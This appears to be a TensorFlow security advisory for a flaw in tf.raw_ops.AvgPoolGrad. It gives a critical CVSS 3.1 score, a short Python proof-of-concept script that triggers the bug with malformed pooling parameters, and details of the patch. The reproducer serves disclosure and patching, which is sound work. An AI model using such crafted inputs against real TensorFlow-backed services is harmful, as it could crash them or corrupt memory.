CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
36.1%
import os
os.environ['TF_ENABLE_ONEDNN_OPTS'] = '0'
import tensorflow as tf
print(tf.__version__)
with tf.device("CPU"):
ksize = [1, 40, 128, 1]
strides = [1, 128, 128, 30]
padding = "SAME"
data_format = "NHWC"
orig_input_shape = [11, 9, 78, 9]
grad = tf.saturate_cast(tf.random.uniform([16, 16, 16, 16], minval=-128, maxval=129, dtype=tf.int64), dtype=tf.float32)
res = tf.raw_ops.AvgPoolGrad(
ksize=ksize,
strides=strides,
padding=padding,
data_format=data_format,
orig_input_shape=orig_input_shape,
grad=grad,
)
We have patched the issue in GitHub commit ddaac2bdd099bec5d7923dea45276a7558217e5b.
The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by <[email protected]>